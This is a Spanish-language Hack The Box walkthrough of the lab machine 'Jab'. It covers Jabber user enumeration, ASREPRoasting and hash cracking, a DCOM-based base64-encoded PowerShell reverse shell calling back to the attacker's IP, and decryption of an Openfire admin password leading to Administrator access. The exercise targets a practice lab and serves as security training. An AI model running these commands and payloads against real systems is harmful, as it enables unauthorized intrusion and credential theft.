Descripción
Jab es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Creación de cuentas anónimas en un servidor Jabber
- Enumeración de los usuarios de un servicio Jabber
- Enumeración de usuarios de Windows y ataque ASREPRoast para obtener un hash y su contraseña
- Exposición de datos sensibles en un chat de Jabber
- Ejecución remota de comandos usando DCOM Exec
- Escalada de privilegios usando una contraseña recuperada de un hash Blowfish de un servicio Openfire
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.106.86.
$ ping -c 3 10.129.106.86
PING 10.129.106.86 (10.129.106.86) 56(84) bytes of data.
64 bytes from 10.129.106.86: icmp_seq=1 ttl=127 time=43.1 ms
64 bytes from 10.129.106.86: icmp_seq=2 ttl=127 time=43.1 ms
64 bytes from 10.129.106.86: icmp_seq=3 ttl=127 time=45.4 ms
--- 10.129.106.86 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.078/43.859/45.422/1.104 ms
La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.106.86 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.106.86
Host is up (0.044s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5222/tcp open xmpp-client
5269/tcp open xmpp-server
7070/tcp open realserver
7443/tcp open oracleas-https
7777/tcp open cbt
Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
Conseguimos muchos puertos abiertos, tal vez relacionados con un entorno Active Directory.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.106.86 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5222,5269,7070,7443,7777 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.106.86
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after: 2024-10-31T20:16:18
5222/tcp open jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| xmpp-info:
| STARTTLS Failed
| info:
| compression_methods:
| capabilities:
| unknown:
| features:
| errors:
| invalid-namespace
| (timeout)
| auth_mechanisms:
| stream_id: 7sfe4fb542
| xmpp:
|_ version: 1.0
| fingerprint-strings:
| RPCCheck:
|_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5269/tcp open xmpp Wildfire XMPP Client
| xmpp-info:
| STARTTLS Failed
| info:
| compression_methods:
| capabilities:
| features:
| unknown:
| errors:
| (timeout)
| auth_mechanisms:
|_ xmpp:
7070/tcp open realserver?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sat, 24 Feb 2024 19:04:37 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Allow: GET,HEAD,POST,OPTIONS
| Help:
| HTTP/1.1 400 No URI
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 49
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: No URI</pre>
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| SSLSessionReq:
| HTTP/1.1 400 Illegal character CNTL=0x16
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 70
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp open ssl/oracleas-https?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after: 2028-10-24T22:00:12
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sat, 24 Feb 2024 19:04:43 GMT
| Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 223
| <html>
| <head><title>Openfire HTTP Binding Service</title></head>
| <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Allow: GET,HEAD,POST,OPTIONS
| Help:
| HTTP/1.1 400 No URI
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 49
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: No URI</pre>
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| SSLSessionReq:
| HTTP/1.1 400 Illegal character CNTL=0x16
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 70
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7777/tcp open socks5 (No authentication; connection not allowed by ruleset)
| socks-auth-info:
|_ No authentication
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
|_ start_date: N/A
|_clock-skew: mean: -9s, deviation: 0s, median: -9s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.44 seconds
Conseguimos servicios relacionados con un Directorio Activo, y relacionados con un servidor XMPP (Jabber). En primer lugar, necesitamos el nombre del host en el archivo /etc/hosts.
$ echo "10.129.106.86 jab.htb" | sudo tee -a /etc/hosts
Podemos utilizar Pidgin para conectarnos al servidor XMPP. Necesitamos crear una nueva cuenta, ya que se nos permite hacerlo. Entonces vamos a unirnos a un chat en el menú Buddies > Join a Chat > Room List y podemos enumerar la lista de salas en el servidor conference.jab.htb. Tenemos dos salas, test y test2. Tenemos acceso test2.
Conseguimos el acceso a algunos mensajes enviados por bdavis usuario con código HTML para incrustar una imagen. Pidgin tiene el plugin XMPP Service Discovery utilizado para enumerar los servicios disponibles del servidor.
Encontramos el servicio “User Search” search.jab.htb así podemos tratar de enumerar los usuarios del servidor en el menú Accounts > Our Account > Search for Users... y luego entramos en el servidor de búsqueda. Como término de búsqueda podemos utilizar un asterisco *.
Ahora necesitamos exportar esta lista de nombres de usuario a un archivo de texto. Podemos usar el complemento XMPP Console para obtener la respuesta en bruto XML desde el servidor con los datos del usuario. Conseguiremos algo así.
<iq type='result' id='purple6eabbbf6' from='search.jab.htb' to='user@jab.htb/adxu5nfw90'>
<query xmlns='jabber:iq:search'>
<x xmlns='jabber:x:data' type='result'>
<field var='FORM_TYPE' type='hidden'/>
<reported>
<field var='jid' type='jid-single' label='JID'/>
<field var='Username' type='text-single' label='Username'/>
<field var='Name' type='text-single' label='Name'/>
<field var='Email' type='text-single' label='Email'/>
</reported>
<item>
<field var='jid'>
<value>lmccarty@jab.htb</value>
</field>
<field var='Username'>
<value>lmccarty</value>
</field>
<field var='Name'>
<value>Lucia McCarty</value>
</field>
<field var='Email'>
<value>lmccarty@jab.htb</value>
</field>
...
Después de copiar el contenido XML a un archivo de texto, podemos usar una expresión regular para obtener los nombres de usuario.
$ cat users.xml| grep -zoPn "(?<=<field var='Username'>\n\t{5}<value>)(.*?)(?=<\/value>)" | tr -d '\000' | sed 's/1\:/\n/g' > users.txt
Explotación
Con la lista de nombres de usuario podemos intentar lanzar un ataque ASREPRoast para obtener el hash de un usuario usando la herramienta GetNPUsers.py.
$ python /usr/share/doc/python3-impacket/examples/GetNPUsers.py jab.htb/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast | grep -v 'doesn'
Impacket v0.11.0 - Copyright 2023 Fortra
$krb5asrep$23$jmontgomery@JAB.HTB:d108af3c759d2763c7408f54fed82198$360737d19138e4bc2063188712b34f0187d84aad45b86fb0777f16a1f589e542cbf9540c5352d8a19025ebd0aa37bee8f354b0293e607dbe755c78aff10af1ae749c5bce16704be1ae648db76fc97ce238dc4ed086772bfd310bcba00c8da139b944a2cf4bb4f8a92dfec31303e4048eb09bf8977b84f17f073d9c3910c2b31984ec6da43fde05374f9b93fef639f374481f35d1186c8c31ec7cc6dc2c0790c85f1fbdf252fb20f357c59d65019477a3103d345050cad8c86183739b5d94594252d2e70d823d0e43161b7b495dba4e8b9b8e428eaf70666ea16265d7f2869d49531c
$krb5asrep$23$lbradford@JAB.HTB:552ef71e4df88053a584ddfde097888d$b012e7bdfbc11545bab5ac96e0dc41e239256fb70087f8058a75440f18402435324a4ee8b2388d137785aea3ed0827f83546ece567928a4d94905cb28dc8f4bf2fbca089ef87768854a05cf630a1e37b9b1812834af4b3f9d826815150b7aa979c3bfbb4b9c40c1ef24bba9a17ce360b44e10ce396e1d8a1cd90f1f498f331e65164354cf4c0782bd43a8fff79952fec6caa35a7121a8ede0003e63cbef79799e947802fd7e92d5ace2b9753f22de9e9878e33e94cd2b09d4930ca7d7209cdac0787aa9b5cad70f5526f639e1d01b70af6501ddac8a7c1fef5f24f912710b70505b8
$krb5asrep$23$mlowe@JAB.HTB:4563d9239419bbd944e47dcebc46ce43$790e4c1fbeab5185065ae803badad5999ff277fa3751198363d071e04585a9671b070a305a9b03c847e84eb25cc1848f31bfa101bd36d8eed9ad4339f763ae80f5b0b8c1ede72bbebd85c2258c6d20664525cda997791053d7f36b0f612bb3e5076044f53a027945bc04bd591794d255e990f97aaf5f536c3afa295fd4f54c15e905e00c30a34c0b2e25595801ee8b02e4da44ca8db3e6250c469c4415a30c4c805fdd1548c481099a470b44a6164c240bdabd3577add3e24a3135e4b80c61323a49f74c995e3c6b04c78a2460c2c1246b8faf791f8c67d5f73c4e3cb5af3f969e14
Tenemos el hash para los usuarios jmontgomery, lbradford, y mlowe. Ahora podemos utilizar John the Ripper para recuperar la contraseña.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121 ($krb5asrep$23$jmontgomery@JAB.HTB)
1g 0:00:00:10 DONE 0.09380g/s 1345Kp/s 3706Kc/s 3706KC/s !SkicA!..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña para el usuario jmontgomery, Midnight_121. Ahora podemos iniciar sesión utilizando estas credenciales en Pidgin y acceder a la sala pentest2003. Obtenemos la contraseña para el usuario svc_openfire, !@#$%^&*(1qazxsw.
Como otros métodos comunes de autenticación no funcionaban, se puede utilizar DCOM Exec con la herramienta impacket-dcomexec para obtener una terminal inversa.
$ nc -nvlp 1234
$ impacket-dcomexec -object MMC20 -silentcommand jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.129.107.136 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAzACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Impacket v0.11.0 - Copyright 2023 Fortra
Obtenemos la terminal inversa.
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.106.86] 58399
whoami
jab\svc_openfire
Post-Explotación
Tenemos una terminal como el usuario svc_openfire. Vemos que el usuario está ejecutando el servicio Openfire. Mirando la documentación encontramos que la base de datos se guarda en el archivo C:\Program Files\Openfire\embedded-db\openfire.script. Podemos buscar la contraseña cifrada del usuario admin.
PS C:\program files\openfire\embedded-db> type openfire.script | findstr "admin"
INSERT INTO OFUSER VALUES('admin','YgjeJXvFDf4dkSVd0v7ONC+MO8w=','3EHtXqOQxksAuSWAlW9BLaRapkE=','q6Ws2+ZEcDab+zFdBmYDQdWIaZwbfn6z',4096,NULL,'b3623187c74becad09de392aa14b0b08427dc47a78c232aa6bc63423d20e133c0473e10622652724989ca9655a8f87eff512c1ac13ac47cfa6ca3cd3687a81dd868a5cc48cef5a5e','Administrator','admin@jab.htb','001698357611581','0')
La contraseña cifrada es b3623187c74becad09de392aa14b0b08427dc47a78c232aa6bc63423d20e133c0473e10622652724989ca9655a8f87eff512c1ac13ac47cfa6ca3cd3687a81dd868a5cc48cef5a5e. La cadena está cifrada con el algoritmo Blowfish así que también necesitamos encontrar la contraseña que cifró la contraseña del usuario.
PS C:\program files\openfire\embedded-db> type openfire.script | findstr passwordKey
INSERT INTO OFPROPERTY VALUES('passwordKey','zBgWeJBtP2RiZIu',0,NULL)
La contraseña utilizada para cifrar las cadenas es zBgWeJBtP2RiZIu. En el foro de Hashcat encontramos código Java para descifrar la contraseña. Tenemos la contraseña.
$ javac OpenFireDecryptPass.java
$ java OpenFireDecryptPass b3623187c74becad09de392aa14b0b08427dc47a78c232aa6bc63423d20e133c0473e10622652724989ca9655a8f87eff512c1ac13ac47cfa6ca3cd3687a81dd868a5cc48cef5a5e zBgWeJBtP2RiZIu
odW!!mVfbXs304kskt!QAZDVGY& (hex: 006F0064005700210021006D00560066006200580073003300300034006B0073006B0074002100510041005A004400560047005900260040)
Revisamos que la contraseña se reutiliza para el usuario de Windows Administrator, odW!!mVfbXs304kskt!QAZDVGY&. Podemos utilizar la herramienta evil-winrm desde nuestra máquina para iniciar sesión como el usuario.
$ evil-winrm -i 10.129.106.86 -u Administrator -p 'odW!!mVfbXs304kskt!QAZDVGY&'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
jab\administrator
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
PS ... > type "C:\Users\svc_openfire\Desktop\user.txt"
<REDACTED>
PS ... > type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>